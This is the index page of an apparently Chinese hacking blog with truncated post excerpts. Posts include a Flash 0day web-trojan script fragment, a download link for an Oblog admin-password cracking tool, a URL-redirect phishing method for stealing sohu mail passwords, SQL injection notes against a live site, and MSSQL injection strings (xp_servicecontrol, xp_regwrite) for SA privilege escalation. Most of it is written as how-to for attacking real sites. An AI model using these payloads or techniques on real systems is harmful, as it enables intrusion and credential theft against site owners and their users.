popphen.net.ru
预览模式: 普通 | 列表

对最新flash-0day网马分析!

<script>
window.onerror=function(){return true;}
function init(){window.status="";}window.onload = init;
if(document.cookie.indexOf("play=")==-1){
var expires=new Date();
exp

[阅读全文]

标签: flash 0day 网马 分析

最新Oblog暴管理员密码工具

这个软件你需要输入对方的博客地址就行,能爆出他的管理员密码,
前提是对方是Oblog,如果打了补丁也是不行的

 


下载地址:
http://download.77169.com/soft/hacrktools/attack/200805/20080529oblogoabmm.zip

利用sohu网站URL跳转漏洞欺骗邮箱密码

作者:空虚浪子心[XGC]

url跳转漏洞遍布各大网站,简单看一下,THE9、sohu等居然都存在这个漏洞!我们就拿sohu为例,讲一下该漏洞。来到sohu的用户注册页面,可以看到,在IE地址栏里,默认写着http://passport.sohu.com/web/signup.jsp?appid=1000& ru=http://login.mail.sohu.com/reg/signup_

[阅读全文]

综合检测某成人站的临时笔记

unix+apache+php+mysql

21=vsftpd;22=ssh;mysql=3306不开放远程连接

找到个注射点,mysql版本4.0以上支持union查询,当前用户权限足够可以load_file

以下是记录:

/gongji.php?ag_id=7 and ord(mid(version(),1,1))>51      /*判断my

[阅读全文]

标签: 综合检测

大家请尽快将Flash Player升级到9.0.124

新闻来源:cbmland.com
今天取到了一份swf格式的exploits,测试了一下在Flash Player 9 .0.115的结果。
Adobe Flash Player 9 .0.115 在播放恶意构造的swf时,会自动下载一个可执行文件并执行,而我拿到的这个swf文件会自动下载一个downloader并运行,然后再由这个downloader下载其他预先指定的木马程序,相当的危险。

这个漏

[阅读全文]

标签: Flash Player 升级

Windows XP SP3 更新 KB951830

 安装本更新程序可以解决在运行 Windows XP Service Pack 3 的系统上连接/断开连接或禁用/启用网络适配器之后,客户端无法解析 DNS 的问题.
安装本更新程序之后,可能必须重新启动计算机.

快速详细信息

文件名:WindowsXP-KB951830-x86-CHS.exe
版本:951830
知识库 (KB) 文章:KB951830
发布日期:2008/5/26
语言:简体中文
下载大小:

[阅读全文]

标签: Windows XP SP3 更新

AVG Anti-Virus Professional Edition v8.0.93a Build 附序列号

AVG Anti-Virus System功能上相当完整,可即时对任何存取文件侦测,防止电脑病毒感染;可对电子邮件和附加文件进行扫瞄,防止电脑病毒透过电子邮件和附加文件传播;『病毒资料库』里面则记录了一些电脑病毒的特性和发作**期等相关资讯;『开机保护』可在电脑开机时侦测开机型病毒,防止开机型病毒感染。

* 100%病毒侦测 因为它对"野生"病毒的优秀侦查,AVG的扫描引擎屡获

[阅读全文]

标签: AVG Anti-Virus

关于本博客弹出广告 实属无奈 不便还请见谅!

弹出的广告是空间供应商强制的
没办法用人家的空间就是这样
我想过用代码强制去掉那个广告
但是如果我这样做的话
很可能我会失去这个空间
为了保证本博客的稳定性
(本人现在还是学生无收入所以
一般的收费空间 条件太差无保障
博客虽然放了GG的广告 但是点击率不搞所以........)
呵呵 所以
希望朋友们能够谅解!!

标签: 2008 5.27

零距离感受综合入侵检测服务器过程

文章来源:网络
很多网上安全教程都介绍了如何通过百度和GOOGLE来搜索漏洞代码而发动攻击,这种文章在实际应用中没有什么价值,
毕竟很多时候我们需要定点定位攻击目标服务器而不是这种广撒网覆盖形式的入侵。
只有学会针对某定点服务器进行扫描和攻击才有利于我们增长企业安全防范与攻击技术,
今天笔者就从实际出发带领各位IT168读者学习针对某固定服务器的扫描入侵一条龙操作,让读者对攻击与防御有一个零距离的

[阅读全文]

一次SA权限入侵和小议SA提权

试在NB里面恢复CMDSHELL、OACREAT都没有成功,所以开启SQLSERVERAGENT


;exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';--


  还是没有成功,无奈之中希望寄托于沙盒模式,执行如下语句开启沙盒模式


;execmaster..xp_regwrite 'HKEY_L

[阅读全文]